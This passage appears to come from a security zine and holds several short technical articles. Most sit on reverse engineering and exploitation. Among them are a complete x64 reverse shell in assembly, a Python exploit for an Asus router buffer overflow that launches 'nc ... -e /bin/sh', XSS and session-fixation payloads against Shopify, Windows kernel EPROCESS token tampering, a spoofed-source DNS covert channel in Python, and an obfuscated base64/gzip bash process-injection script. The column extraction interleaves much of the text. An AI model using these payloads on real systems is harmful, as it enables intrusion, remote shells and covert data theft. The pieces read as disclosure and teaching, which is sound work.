Little  Endian),  the  line  number  (yes,  that's  what  one's  also  able  to  encrypt  (obfuscate)  selected 
these  prefix  numbers  are;  also  2  bytes  LE),  and  nodes, and decrypt (deobfuscate) them at runtime. 
then  the  null-terminated  dictionary-compressed  So,  how  do  we  do  all  of  this  using  C64  BASIC 
line  content  (i.e.  BASIC  keywords  are  encoded  as  editor/interpreter?  No  idea.  To  create  this 
0x80+keyword_index,  where  the  keyword_index  is  challenge,  I  had  to  write  my  own BASIC "compiler" 
taken  from  a  dictionary  hardcoded  inside  the  – I called it CrackBASIC because it was made for the 
BASIC  interpreter  [3]).  And  the  list  is  terminated  sole  purpose  of  creating  this  CrackMe  (also, 
with  an  additional  empty  node  consisting of only a  because  it's  BASIC  on  crack).  It has a couple of nice 
NULL pointer in the next field.  features,  like  being  able  to  calculate  node 
It has to be noted that storing a program in a linked  addresses  of  specific  lines  at  compilation  time  or 
list  of  lines  is  pretty  unusual  for  today's standards.  encrypt  selected  parts  of  the  code. You can check it 
On  the  flip  side,  imagine  all  the  possibilities  this  out in the challenge's source directory. 
gives one to mess with players trying to reverse it!  And  that's  it!  I  encourage  you  to  try  to  solve  the 
Let's  start  with  the  pretty  simple  and  obvious  fact  challenge  yourself  -  there  are a few more surprises 
that  line  numbers  don't  really  matter  too  much.  there. 
True,  both  GOTO  and  GOSUB,  and  a  few  other   
commands  use  them,  but  apart  from  jump  targets  Gynvael Coldwind 
most  lines  can  have  identical  line  numbers.  If  one   
keeps  them  non-decreasing  the  program  should  [1] https://github.com/google/google-ctf/tree/master/
work  just  fine  -  not  the  case  for  BASIC's  "editor",  2018/quals/re-basics 
but it's OK if we only care about running the code.  [2] https://64bites.com/ 
Moving to more interesting things, since the format  [3] https://www.c64-wiki.com/wiki/BASIC_token 

Gynvael Coldwind https://twitter.com/gynvael


https://gynvael.coldwind.pl/
SAA-ALL 0.0.5 https://www.youtube.com/c/GynvaelEN/ 48
Reverse Engineering AndroidProjectCreator

AndroidProjectCreator
Analysing decompiled Android malware code is a tedious task.
AndroidProjectCreator aims to improve the effectiveness of this analysis
by providing you with an easy-to-use toolkit.

So how does it work?


AndroidProjectCreator is a command-line application that is written in
Java and serves as a single interface for numerous tools that are used to
decode and decompile an APK, such as dex2jar1 or JAD-X2. After decoding the
resources and decompiling the code, an Android Studio project is created
based on the newly obtained data.

Why an Android Studio project?


Existing open-source tools provide decompiled code, although there is a
problem when one wants to remove or refactor code: more often than note,
tools lack the support of this feature. Android Studio is always up-to-
date, as it is used to create Android applications. This way, the power of
the tool is leveraged for a (potentially) unintended purpose.

A demo
What better to show people than a wall of text? As is commonly said: “a
picture is worth a thousand words”. This demo will serve as a picture.

The used dependencies require the usage of the Java 8 JDK. Simply issuing
the “-install” parameter to the JAR will start the installation. The
installation will commence in the directory where the JAR resides,
regardless of the terminal’s current working directory.

After the installation is complete, the help menu is shown, together with
the installation results. To decompile an application, simply call the JAR
from anywhere on the machine and provide the required parameters:

java -jar /path/to/AndroidProjectCreator.jar -decompile fernflower


/samples/sms-stealer.apk ./sms-stealer-fernflower

The “-decompile” argument specifies the mode in which


AndroidProjectCreator needs to operate. The “fernflower” decompiler is
chosen in this case. The APK to decompile is given after that. At last,
the location where the Android Studio project needs to be placed is
provided.

When all is done, one can simply open Android Studio to analyse the code.
For more information, one can visit the installation and usage guide here3.
If you have any questions, please message me on Twitter: @LibraAnalysis4.

1 https://github.com/pxb1988/dex2jar

2 https://github.com/skylot/jadx

3 https://maxkersten.nl/projects/androidprojectcreator/

4 https://twitter.com/LibraAnalysis

@LibraAnalysis on Twitter Max 'Libra' Kersten


SAA-ALL 0.0.5
50
Reverse Shell With Auth For Linux64 Sec/Hack

REVERSE SHELL WITH ; 1 - Create a socket


push 0x29 ; socket syscall n°
AUTH FOR LINUX64 pop rax
This payload will connect back to a xor rdx, rdx ; zero out rdx
remote location over TCP/IPv4 and launch push 0x02 ; 2 means IPv4
a shell only if a valid password is pop rdi
provided. push 0x01 ; 1 means TCP
pop rsi
syscall
mov r15, rax ; save socket in r15

; 2 - Connect to the target


mov rdi, rax
mov rcx, _TARGET
The process consists of 5 steps, each not rcx ; rcx=127.0.0.1:4444
one involving one system call: push rcx
mov rsi, rsp
1 Create a new socket push 0x10 ; IPv4 address length
2 Connect to the target address pop rdx
3 Read 8 bytes and check if they match push 0x2a ; connect syscall n°
pop rax
the password syscall
4 Duplicate each standard stream
(stdin, stdout and stderr) into the ; 3 - Read password from client
socket, allowing the target to send read_pass:
and receive messages xor rax, rax ; read syscall (0)
5 Execute a shell mov rdi, r15 ; rdi = socket fd
push 0x08
pop rdx ; rdx = 8 (input size)
"How do I make a syscall?" you may ask. sub rsp, rdx
Place the syscall number into RAX mov rsi, rsp ; rsi -> buffer
Parameters go into: syscall
RDI,RSI,RDX,R10,R8,R9 and the stack ; Check password
Use the syscall instruction and... mov rax, _PASS
mov rdi, rsi
Let the kernel do the magic! scasq ; compares rax vs rdi
jne read_pass
Configs for the payload:
; 4 - Duplicate streams 2,1 and 0
_TARGET: 0xfeffff80a3eefffd mov rdi, r15 ; rdi=socket fd
push 0x02 ; 2 == stderr
To get this number:
pop rsi
1 IP to hex 127.0.0.1 -> 0x7f000001 loop_through_stdfds:
2 Port to hex 4444 -> 0x115c push 0x21 ; dup2 syscall n°
3 Constant for IPv4 IPv4 -> 0x0002 pop rax
4 Put it all together 0x0100007f5c110002 syscall
(notice how IP and port endianness dec rsi ; next stream
jns loop_through_stdfds
change!)
5 Extra step: As the original value has ; 5 - Execve("/bin/sh")
null bytes, it was replaced with its xor rdx, rdx
one's complement. push rdx
0x0100007f5c110002->0xfeffff80a3eefffd ; echo -n '//bin/sh' | rev | xxd
mov rbx, 0x68732f6e69622f2f
push rbx
_PASS: 0x214e49454d54454c mov rdi, rsp
Hex little-endian for "LETMEIN!" push rdx
(echo -n 'LETMEIN!' | rev | xxd) mov rdx, rsp
push rdi
The code provided favors readability instead of size mov rsi, rsp
or speed. Many improvements can be done to it. push 0x3b ; execve syscall n°
I leave that exercise to the reader. pop rax
Happy hacking!! syscall

Alan Vivona @syscall59


medium.syscall59.com
SAA-ALL 0.0.5
51
Sec/Hack On escalating your bug bounty findings

On escalating your • Attacker forces the victim to log in to


https://www.shopify.com/admin/apps/flow,
bug bounty findings which redirects to
tim.shopify.com/admin/apps/flow and then triggers
vic-

the login flow;


• Finally, the attacker can use the original session iden-
Based on publicly-disclosed bug bounty reports, techni-
tifier to authenticate as the victim.
cal quirks, such as the ones listed in the HTTP cookies
RFC1 , are rarely being used to escalate popular attack
vectors like cross-site scripting (XSS). The lack of exploring Combining minor issues with an unauthenticated
issues further could be a result of the competitiveness of reflected XSS to gain access to authenticated func-
bug bounty programs, where bug bounty hunters attempt tionality
to submit reports immediately upon discovery of a poten-
While collaborating with Alessandro De Micheli 3 , a very
tial problem. Another cause may be the lack of bug bounty
basic unauthenticated reflected cross-site scripting flaw
programs rewarding reporters based on the impact of the
was discovered on a private program where based on past
reported vulnerability. In this short paper, we want to
experiences, the reporters knew this private bug bounty
cover two noteworthy reports where we combined further
program incorporate the impact into the bounty amount.
issues to demonstrate the impact of the vulnerability. The
To escalate the issue further and gain access to authenti-
goal here is to encourage readers to toy around with their
cated functionality, Alessandro and Edwin examined the
findings and incorporate further minor issues into their
main application looking for any minor flaws that could
proof of concepts to illustrate the impact of their findings.
be leveraged. This was when they stumbled across an
endpoint with the following HTTP response (modified for
Session fixation on Shopify enabling account brevity):
takeover HTTP/1.1 200 OK
As Shopify’s security policy states, cross-site scripting on Access-Control-Allow-Origin: *
*.shopifycloud.com and *.shopifyapps.com is out of x-csrf-jwt: eyAAAAAAAAAA...
scope because both of these hosts are littered with XSS. With a simple AJAX call, it was possible to retrieve the
In other words, cross-site scripting on those hosts would x-csrf-jwt token.
be considered an invalid finding2 .
Upon discovering an XSS flaw in Shopify’s SDK,
Filedescriptor found that specific Shopify-built applications $.ajax({
used signed sessions or session identifiers. This discovery type: 'GET',
led to Filedescriptor noticing that where session identifiers url:'https://example.com/endpoint',
were used, the applications were not generating fresh iden- success: function(data, status, r){
tifiers on login. To put it another way, these applications alert(r.getResponseHeader('x-csrf-jwt'));
were linking whatever session identifier was present in the },
cookie header upon sign in with the authenticated user. error: function (r, status, error){
This is known as Session Fixation and anybody that runs alert(r.getResponseHeader('x-csrf-jwt'));
a bug bounty program has almost certainly seen this type }
of behaviour reported as is without the reporter chaining });
the issue with other findings to demonstrate exploitability.
Further, the settings panel of users’ on the target ap-
As a result of this Session Fixation in certain appli-
plication had a feature which allowed people to export
cations belonging to Shopify, Filedescriptor was able toall their user data and history — similar to the “GDPR”
leverage an XSS flaw in an out-of-scope asset to affect features you might see on Uber. By using the exfiltrated
www.shopify.com itself. A hypothetical attack scenario x-csrf-jwt token, the fact that the login panel was frame-
could take place as follows. able, the “GDPR” export function, and the XSS vulnera-
bility, Alessandro and Edwin would have been able to leak
• An adversary visits the application where they en- authenticated data from an unsuspecting user.
countered the Session Fixation and takes note of the The fully-fledged exploit is too long to include in this
session identifier the application assigns to them; paper, so a summary of the code is listed below.
• The attacker uses the XSS on *.shopifycloud.com
and sets a cookie on behalf of the victim, scoped to • Create iframe of login panel;
all of Shopify’s subdomains. • AJAX call to exfiltrate x-csrf-jwt token and initiate
download using token;
document.cookie='_flow_session=EVIL;domain= • Wait for 200 OK status code from /export endpoint
.shopifycloud.com;path=/'; and fetch exported ZIP from user’s /download end-
point.
1 https://tools.ietf.org/html/rfc2965
2 https://hackerone.com/shopify 3 https://hackerone.com/europa

https://twitter.com/edoverflow Edwin "EdOverflow" Foudil


https://twitter.com/filedescriptor and T.-C. "Filedescriptor" Hong
https://edoverflow.com/ CC BY 4.0
52
Fun with process descriptors Sec/Hack

Fun with process concept for processes called ”process descriptors”5 in


FreeBSD [2]. Instead of using a fork(2) syscall we can
descriptors use a pdfork(2) syscall to spawn a new process. This
syscall will return a handler called a process descrip-
tor, which corresponds to the descriptor table - filedesc
Besides the early version of MS-DOS (1.x-2.x), the structure in FreeBSD kernel. Process descriptors behave
first versions of UNIX, Mac, and AmigaOS were de- like other descriptors (files, sockets, pipes etc), we can
signed as multitasking operating systems [1]. The basic duplicate them (dup(2)), send them to other processes
primitive which allows this design was a process. We (via UNIX domain sockets), and close them (close(2)).
understand that a process is a program in execution. If there exists at least one process descriptor, the
Processes are identified by unique numbers called PIDs. structures representing the process in kernel cannot be
After 40 years, this fundamental abstraction is still used removed even if the process exited. Thanks to that we
by all modern operating systems. can check the status of a process even after it has ex-
The design of operating systems is constantly evolv- ited - solving the pkill(1) problem. Right now the only
ing, and with time it turned out that the ordinary de- proper way to fetch the status of the process is through
sign of processes has some downsides. First is the race using kqueue(2). The pdfork(2)’ed process will not send
condition while we try to destroy (kill) a process. As SIGCHILDs to the parent process even if the parent pro-
mentioned before, the process is identified by a single cess is wait(2)ing for all processes. When all of the pro- 6
number (PID). When we use pkill(1), we are providing a cess descriptors are closed, the process is terminated .
name of the executable we want to kill. The application In the Linux world there have also been attempt to
has to create a list of processes and their corresponding create process descriptors by adding an additional flag
PIDs. pkill will send the signal (SIGTERM ) to destroy - CLONE FD - to the clone(2) syscall, which is used to
the process to all PIDs matching the sought phrase. The spawn a new process in this kernel. The initial work was
race condition occurs while we are going through the list started in 2015 by Josh Triplett, but never landed in the
of executables. After we have created the list; the pro- Linux kernel [3]. Recently Linux developer introduced
cess may disspear and the PID may be reused. In such a new flag - CLONE PIDFD - which allows that [4].
a situation, a signal will be sent to the recently created However, in v5.2 Linux kernel tag the only reliable way
process, which may have a different name/executable. to access procfs process information (/proc/<pid>/ )
By default the maximum PID value is 32,768 on through PIDFD is to open the directory via process’
Linux1 and 99,999 on FreeBSD2 . If this number is hit PID and validate if the process is still running by send-
the counter starts using the lowest of the unused PIDs. ing a signal to it via PIDFD. There are some proposals
In an environment with a lot of processes being spawned, to use pidfd open to simplify this process [5].
the probability of a short-term PID reuse is significant. The process descriptors give a reliable handle to the
It is also worth mentioning that some configurations use process. Through introducing this concept, we enable
randomised PIDs for discussable security benefit3 . libraries to spawn new processes transparently to the
application and prevent race conditions when signalling
Another interesting problem with this design is that
or managing the process In today’s world with high per-
it’s not friendly for libraries. Right now if our library
formance and short living processes it is unacceptable
would like to create a new process, the application using
to have an unreliable interface to handle processes. It
it must be aware of such behavior. The point is, that if
would be interesting to see this concept incorporated
the application uses the wait(2) syscall4 , it may receive
more widely.
the signal from a process created by the library. If a pro-
gram is not prepared for that it can crash in unexpected References
and random ways. [1] Michael Palmer, Michael Walters, Guide to Operat-
An interesting question is: should libraries behave in ing Systems, Cengage Learning, 2011
such an ”unexpected” way and spawn new child pro- [2] Watson, R. N. M., Anderson, J., Laurie, B., and
cesses? Is it a bad design? Not necessarily. If libraries Kennaway, K. Capsicum: practical capabilities for
try to secure themselves through privilege separation or UNIX. 19th USENIX Security Symposium, 2010
using capabilities systems (like Capsicum) it can be use- [3] Jonathan Corbet, Attaching file de-
ful. The same goes for optimisation. If libraries are try- scriptors to processes with CLONE FD,
ing to use multithreading for optimising purposes should https://lwn.net/Articles/638613/, 2015
the main program be aware of that? [4] Christian Brauner, clone: add CLONE PIDFD,
For those two reasons, in 2010 we developed a new https://lwn.net/Articles/786244/, 2019
[5] Christian Brauner, pidfd open(),
1 It can be read from /proc/sys/kernel/pid max. It can be in-
https://lwn.net/Articles/784222/, 2019
creased up to 222 on 64-bit Linux.
2 It can be read and decreased using kern.max pid. 5 It is worth noting that in the Linux kernel world the ”Process
3 https://www.whitewinterwolf.com/posts/2015/05/23/ Descriptors” also refer to the task struct structure, which contains
do-randomized-pids-bring-more-security/ all the information about the single process. Here we stick to the
4 wait(2) and wait2(2) are used to wait for a status change of userland process descriptors.
all child processes. The same goes for wait4(2) and waitpid(2) 6 This behavior may be changed by passing PD DAEMON flag

with -1 argument as wpid. to the pdfork(2) syscall.

Mariusz "oshogbo" Zaborski http://oshogbo.vexillium.org/


SAA-TIP 0.0.5
53
Sec/Hack Windows EPROCESS Exploitation

application, these flags could be modified for disabling


Windows EPROCESS security protections from the application such as ACG,
Exploitation CIG, CFG and others (2).

Bruno Gonçalves de Oliveira (mphx2)


lkd> dx -id 0,0,ffff8e8390eea580 -r1
While exploiting the Windows kernel, there are multiple (*((ntkrnlmp!_EPROCESS
objects that an attacker can interact with to gain *)0xffff8e838cd22080)).MitigationFlagsValu
privileges in userspace. Since the kernel is the base for es
everything running in userland, all characteristics from <redacted>
those objects can be compromised. One interesting [+0x000 ( 0: 0)]
object that enables this type of exploitation is the ControlFlowGuardEnabled ​: 0x1 [Type:
EPROCESS. This type of object is created in kernel unsigned long]
space for any process started in userspace. This object [+0x000 ( 1: 1)]
carries around all the elements belonging to a given ControlFlowGuardExportSuppressionEnabled ​:
process including its security elements. This article 0x0 [Type:
describes three of the elements that can be utilized for [+0x000 ( 2: 2)]
exploitation purposes: Token, MitigationFlags* and <redacted>
Protection.
Token is a pointer that indicates the ACLs (Access Disabling these protections would allow the attacker to
Control Lists) that are being used by the process, so if it extend the attack: allocating RWX memory pages or
is possible to modify this element using any kernel disabling the ROP protection for further exploitation.
vulnerability (such as with ​write > what > where Another resource on EPROCESS that can be useful for
exploitation primitives) it would be feasible to change the exploitation is the Protection, offset +0x6ca. This flag
process privileges. For example, replacing an sets the Integrity from the process and enables the
unprivileged token from an existing process such as Protected Process Light (PPL) protection. This element
cmd.exe with a SYSTEM token, so every command that protects the process’ handles against any loading or
is run within this cmd.exe process, would run as modification even under the same Token (3).
SYSTEM - an administrator / high-privilege account.
The offset for the token in Windows 10 is 0x358 (so far), lkd> dx -id 0,0,ffff9b85b644c080 -r1
so the EPROCESS address+0x358 will refer to the (*((ntkrnlmp!_PS_PROTECTION
pointer for the token in the specific process. As shown *)0xffff9b85b5ec5c4a))
below, the Token is a pointer to a structure that will have (*((ntkrnlmp!_PS_PROTECTION
all the ACLs in place for the process. *)0xffff9b85b5ec5c4a))
[Type: _PS_PROTECTION]
lkd> dt _EPROCESS ffff8e838cd22080 Token [+0x000] Level : 0x61
nt!_EPROCESS [Type: unsigned char]
​+0x358 Token : _EX_FAST_REF [+0x000 ( 2: 0)] Type :
lkd> dq ffff8e838cd22080+0x358 0x1 [Type: unsigned char]
ffff8e83`8cd223d8 ​ffffc503`ef75997b [+0x000 ( 3: 3)] Audit :
00000000`00000000 0x0 [Type: unsigned char]
[+0x000 ( 7: 4)] Signer :
In a different situation, it is also possible to lower the 0x6 [Type: unsigned char]
privileges of a process and then being able to reach with
an unprivileged account (for example on the lsass.exe) These protections can be disabled by setting this byte as
(1). It is also possible to edit the ACLs in the token but null (0x0). This flag also limits the process’ debugging,
that will not be covered here. This method could be since it prevents to be handled by any other process, so
useful if the attacker does not want to raise suspicion disabling it will allow this interaction as well.
due to an active process with elevated privileges. References:
Also in Windows 10, there are another two elements not [1]​https://media.blackhat.com/bh-us-12/Briefings/Cerrudo
as popular as the Token but interesting as well: the /BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
MitigationFlags(+0x828) and MitigationFlags2(+0x82c). [2]​https://2017.zeronights.org/wp-content/uploads/materi
This becomes handy when administrative privileges are als/Abusing%20GDI%20for%20ring0%20exploit%20prim
not enough, for example, while escaping a sandbox itives%20-%20Evolution.pdf
[3]​http://www.alex-ionescu.com/?p=97

twitter.com/mphx2 BRUNO GONÇALVES DE OLIVEIRA


github.com/bmphx2 SAA-ALL 0.0.5
54
MOV your Exploit Development Workflow to [r2land] Sec/Hack

MOV your Exploit Development Workflow to [r2land]


[Intro]>
checksec.sh, metasploit’s pattern_create & pattern_offset, file, readelf, ropgadget, gdb-peda...if you want
to reduce the amount of tools for your exploit development workflow – move to the radare2 framework.

[Executable File Information]>

/ File and security attributes iI


\ Checksec i~pic,canary,nx,crypto,stripped,static,relocs

/ Show entry point ieq


| Show imports ii
| Show exports iE
| Show strings iz
| Get address of func@plt ?v sym.imp.<func_name>
\ Get address of func@got ?v reloc.<func_name>

/ Show sections iS
\ Grep section permissions iS~<permission> ; Tilde "greps" entries

[Debugging/Analysis]>

/ Debug binary $ r2 -d <program> [<arg1>]


| Debug binary without ASLR $ r2 -d rarun2 program=<program> aslr=no [arg1=<arg>]
| Follow fork mode e dbg.forks = true
| Enter Visual Mode V!
| Continue, Step, Step over dc,ds,dso
\ Backtrace dbt

/ Auto analysis of binary aaa ; Usually performed as first command


| Print disassembly pdf @ <func_name/address> ; At selects functions/addresses
\ Print xrefs to address axt @ <func_name/address>

[Memory Analysis]>

/ Search for string "/ <string>"


| Search for hex "/x <bytes>"
\ Search for asm instructions "/c <mnemonics>"
/ Memory telescoping pxr @ <register> ; Pretty print/Smart dereferences
\ Register telescoping drr

/ Show memory maps dm ; Needs to be in debug mode


| Show map of heap dmh
\ List loaded modules dmm

[Exploitation]>

/ Print de-bruijn pattern $ ragg2 -P <length> -r


| Get offset from pattern wopO <pattern fragment> ; Similar to pattern_offset.rb
\ Get offset from IP wopO dr <instruction ptr name> ; Use after segfault

/ Search for ROP gadgets /R <gadget>


| Display ROP gadgets linear /Rl <gadget> ; Similar to ropgadget.py
| Show ROP options e?rop
\ Set max instructions/gadget e rop.len=<nr. of instructions including ret>

/ Assemble asm instructions $ rasm2 -a <arch> -b <bits> "<mnemonics>"


| Disassemble opcodes $ rasm2 -a <arch> -b <bits> -d <bytes>
\ Generate shellcode $ ragg2 -a <arch> -b <bits> -i exec

Jannis Kirschner twitter.com/xorkiwi


SAA-ALL 0.0.5
55
Sec/Hack DNS Reflection done right



DNS Reflection This example Python code can be used to send a file to
another computer, omitting a direct connection

done right
between these 2 machines. This is achieved by splitting
it to 60 byte chunks (maximum length of a single
domain) and using DNS Reflection technique to deliver
packets.
Domain Name System is almost as old as the internet. Use it for educational purposes only, in networks that
Its specific architecture makes it a good abuse point for you own. Don’t stress the DNS servers! Remember that
the attackers. In this short paper I will describe what is this can piss off your internet provider, so use with
DNS Reflection, why malicious actors tend to use it and caution.
why you might want to use it.
Sender code:
Let’s imagine a server behind a firewall that restricts the #!/usr/bin/python3
traffic only to Linux package repository and DNS servers. from kamene .a ll i mport *
That means the packets sent from attacker’s computer import base64 , time , sys
will not reach victim server and vice versa. To send the
packet to the server, we need to spoof the source dnsaddr = " 2620:119:35::35" # OpenDNS as an example
address of the IP packet, so the firewall will “think” that send_delay = 0 .8

the packet was sent from an allowed address.
def send_packet (i p , packet_data ):
encoded_message =
Why attackers reflect through DNS servers? Good ↪b ase64 .b 64encode (p acket_data .e ncode (' ascii' )) + b '-'
reason is traffic amplification, which could further encoded_message_size = l en (e ncoded_message )
increase impact of the DoS attacks, by making use of for i in r ange (0 , encoded_message_size , 6 0 ):
fact that the DNS responses tend to be larger than DNS data = encoded_message [i :i +6 0 ]
requests. The reflection is possible due to the fact that DNSpacket = IPv6 (d st =d nsaddr ,
Domain Name System by default uses the UDP layer,
↪s rc =i p )/ U DP (s port =R andShort ()) /D NS (i d =1 337 , rd =0 , z =0 ,
which is connectionless. Another thing is that the DNS is
↪t c =1 , qd =D NSQR (q name =d ata , qtype =" A" , qclass =" IN" ))
send (D NSpacket , verbose =0 )
probably the last protocol you would block in your time .s leep (s end_delay )
firewall.
if l en (s ys .a rgv ) < 3
:
print (f ' {sys.argv[0]} receiver_ipv6_addr data_file' )
sys .e xit ()
send_packet (s ys .a rgv [1 ] , o
pen (s ys .a rgv [2
] ). read ())

Receiver code:
#!/usr/bin/python3
import logging
logging .g etLogger (" scapy.runtime" ). setLevel (l ogging .E RROR )
from kamene .a ll i mport *
import base64 , sys

def receive_packet (l isten_iface ):
data = bytearray ()
while n ot b '-' i n data :
DNSPacket = sniff (i face =l isten_iface , f ilter =" src port 53" ,
Illustrated DNS Amplification attack ( black a rrows) ↪c ount =1 )
Communication over DNS ( blue a nd b
lack a
rrows) if ( DNSPacket [0 ] . haslayer (D NS ) ) a nd
( DNSPacket [0 ] . getlayer (D NS ). id = = 1 337 ):
Why you would use DNS Reflection? Assume that you data += ( D NSPacket [0 ] . getlayer (D NS ). qd .q
name [: - 1] )
want to communicate to the mentioned server, and you print (b ase64 .b 64decode (d ata [: -1
] ). decode (' ascii' ), end =' ' )
want a response back from it. A good example can be a
if l en (s ys .a rgv ) < 2 :
remote shell ;). There is an easier and more common
print (f ' {sys.argv[0]} listen_interface' )
solution with creating your own DNS server, then sys .e xit ()
communicating through fake queries. This is a good receive_packet (s ys .a rgv [1 ] )
method, but I want to show you a way which does not
require you to setup any network infrastructure. You External links:
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
just need to have IPv6 enabled to simplify things up, https://kamene.readthedocs.io/en/latest/introduction.html#about-scapy
due to it’s direct connection nature (there is no NAT).

https://github.com/srakai Srakai
SAA-ALL 0.0.5
56
The Router Security Is Decadent and Depraved Sec/Hack

The Router Security Is riddle % ropper -I 0x00008000 -b 00 -f httpd

Decadent and Depraved ...


0 gadgets found
by Igor Chervatyuk

There is nothing in the world more helpless and Let's consider our options for a minute:
irresponsible and depraved than a man looking in the 1) No eavesdrop on stack addresses and searching for
depths of a router security, and at some point last year another vulnerability makes Johnny a dull boy 3;
my colleague and I jumped into that rotten stuff with 2) No jumping to shell code for this overflow since non-
moderate success. We found and reported three executable stack is a thing for at least two hundred
vulnerabilities to Asus for home-purpose wireless years. Flag restrictions and length of 500-something
routers and one of them lead to remote code execution bytes prior to PC overwrite does not make things any
for unauthenticated attacker. Buy the ticket, take the easier;
ride, this is CVE-2018-88791. 3) No ROP-chain since it requires multiple null-bytes.

The approach to look for vulnerabilities was as simple At this point one should start thinking where did life
as possible, dumping names of all the available files in gone sideways, counting dubious life choices starting
web-server directory and running through them in from high school and considering more accessible
order to find out pages accessible from web without career of a village fool. However, no trick – no article.
authentication. Among the other there was one,
ironically, related to parental control and content Turns out if we scroll the stack after the crash long
filtering. Page was created in a way, that information enough we find HTTP-request headers. Each header is
printed on the screen are passed using URL parameters. parsed by firmware separately and each header can end
There was three of them: mac, flag and cat_id. Shoving with its own fancy, shiny null-byte. This could be used
multiple "A"s into one of them resulted with nothing. as return address. Fortunately, there actually are some
Except, according to the internal log, HTTPd daemon gadgets allows us to slightly adjust stack register and
crashed and restarted each time I sent large malformed change PC to align with these headers! Header ROP-
input, looking for a slight sign of malfunction. chain I guess? Here, have some exploit code 4.
#!/usr/bin/python
Attaching GDB to process showed that was really a import struct, urllib3
classic textbook generic buffer overflow, except it had a
# 00019294 add sp,sp,#0x800; pop {r4, r5, r6, r7, pc};
lot of restrictions. URL parameters are parsed by means
of web-server and, prior to overflow, mangled # 0003cea4 cpy r0,sp
# 0003cea8 bl system
according to used parameter. For instance, 'mac'
parameter expects string delimited with colons. Most cmd = 'nc 192.168.0.2 4444 -e /bin/sh'
promising parameter ‘flag’ was mangling input too. If cmd = ';' + cmd + ';'
align = "A" * 199
we passed capital "A"s to the parameter it would payload = "A" * 532
overwrite PC register with 0x616161602. In addition to payload += struct.pack("<I", 0x00019294)
lower-casing characters, input is also being truncated. url = "https://192.168.0.1:8443/blocking.asp"
params = {'flag': payload}
headers = {
Using checksec shows that HTTPd daemon acts as a 'Accept':
hardcore alcoholic with 30-years of experience in the ('text/html,application/xhtml+xml,application/xml;'
'q=0.9,image/webp,*/*;q=0.8'),
field in the company of well-respectable sommeliers at 'Accept-Language': 'en-US,en;q=0.5',
wine degustation. All related libraries are compiled with 'Accept-Encoding': 'gzip, deflate',
full security precautions, when the HTTPd daemon has 'User-Agent': align + "VVVV" + "WWWW" + "XXXX" +
"YYYY" + struct.pack("<I", 0x0003cea4),
no RELRO, canary, PIE or FORTIFY whatsoever. 'Connection': 'close',
'Cookie': cmd + 'clickedItem_tab=0',
Running ropper against target binary cheers us with lots 'Upgrade-Insecure-Requests': '1'}

of promising gadgets. http = urllib3.PoolManager()


r = http.request('GET', url, fields=params,
1. Bug was found and exploited with immense help of Andrey Basarygin who headers=headers,)
listed as co-author of all three CVEs (other two are 2018-8877, 2018-8878) that
probably never will be disclosed because I’m lazy and MITRE ignores my e-mails.
On a serious note, vulnerability was discovered in Merlin firmware which is 3. I could probably leak some PLT address or something, but whatever. Who the
successor of Asus stock firmware and partially shares it code base. Supposedly, hell do you think I am, Geohot?
any model that has a firmware older than 384_20379 would be vulnerable. No
information on 382_xxxx or the older 380_xxxx branches, but they are 4. Tested on Merlin RT-AC68U_384.3_0. Stock firmware PC offset overwrite
developed in parallel. may vary, but AFAIK gadget addresses stays the same. Regular Asus firmware
does not have netcat, so consider using ‘touch /tmp/home/root/1’ for PoC
2. AFAIK, ARM’s PC register aligns to power of 2, so last byte is being rounded. instead.

Igor Chervatyuk ichervatyuk@gmail.com


https://github.com/outofhere
SAA-TIP 0.0.5
57
Sec/Hack PIDU - Process Injection and Dumping Utility

PIDU - Process Injection and Dumping Utility


#!/bin/bash
# Process Injection and Dumping Utility, created by reenz0h years ago :)
# TW: @sektor7net
# README:
# Imagine you want to change a process running in a memory, but you don’t have gdb at
# hand. GNU/Linux is a flexible OS with (almost) everything-is-a-file philosophy. One of
# its cool features is procfs, giving the user access to processes’ kernel structures via
# a pseudo-filesystem. There are 2 files that expose both data and metadata of a process:
# /proc/<pid>/maps and /proc/<pid/>mem. The former contains memory layout with access
# permissions, the latter is a gateway to the process’ contents – its memory pages (see
# procfs(5)).
# You can leverage both maps and mem files to change any running process (keep in mind you
# need appropriate permissions to do that, see ptrace(2)).
# Here enter PIDU: a tool using only bash, procfs and dd to modify a process. It reads
# process layout exposed in maps and uses dd to read/write memory pages via the mem file.
# With PIDU you can dump the .text segment of a process, modify it on disk (ie. inject some
# shellcode with dd) and load it back to the original process. Of course you need to
# take process state changes into account while doing so.
# If you want to know how exactly the tool works, you will have to crack the obfuscation
# to find out. Or maybe not... GOOD LUCK!
s=`egrep -A300 "^e.*ż\)$" ${0}|tail +2|tr -d "\n"`;f=;c=;for ((i=0;i<${#s};i++));do [ $\
((($i+1)%4)) -eq 0 ]&&c=$c${s:$i:1}||f=$f${s:$i:1};done;. <( echo $f|base64 -d|gzip -cd );
@ `ż $c|ó+ł`;ć; чер $ный|&пуд ^ инг с<мед=ом? ; 为/什**$么不
eval $#FUNZZZZ(ż)
H4stIAAiAAAxAAAeA71 XXV PbR;hR9itn7fFzc YTQ;xPZshjxs0xkeZMKcHZaoZtrrA2DpTTG_aBGpSGtmbRVu5ptdL
KB gl/;60h}/U1R761I+V8D9d1{eyj$QMM yUM 9DNrau7ij33d++z_6Y7kfXPczj8e4G3hVm2c+dT scTe51fsjKBlhT
GeJ4L Z2/ /2B;PhdsJIKsp7fe34fcuuJo/w4rFs7p7gx_+Putz1PcCKdezgKj+6cnD52ie98 d9r te0nxlOeVZBhHia
tKp9 kfS uXU;CP6]edH eoe"Hjutu63cknVeG3SjTGZn1qni60p"uni hjI p1e=/NM Z15"nus}6znTe+jCgKLA0HI{
g76$a0c"3TQ 2aW TJG[Vwf eY4 5I7fpjlix3L OO0 go9;L+T"jSx}EuKD1DCIBQGPgEw{pB2$Uj8 f7x ohns/iZs8
gQeR0kcYoho/40rzltpUve 105 pvQh6VgtdP/iddLwUcT qXJ t9DggLxnNtUiblOyi4pasVClCOBP/DD K0K JEm]Qz
y*JLt[ZOO"BCO 8ZeosUHhDJCcMNCeQRK yRA;RSB pGs dSAgiAxiEpHf6DunI3PoPlscnIo_UIWtDzNnkkBiqverYH+
p5Aa gDQ Kbe|4MB|B5I TSc]XMq ONi a8A0Be9 Y+M=gKZ 8B1 J35}qY9Ebj5SOqeOkYmBccDRSxfE5NMVc2h{po1$
Ukh HZ0[7mf 5wA /Dz;JUqeNA+n7Zeop0KdoNo GMm wzB;9tItIKRfzIniFGDhzzFsbIw 1RL esE;szAc45WauUis0
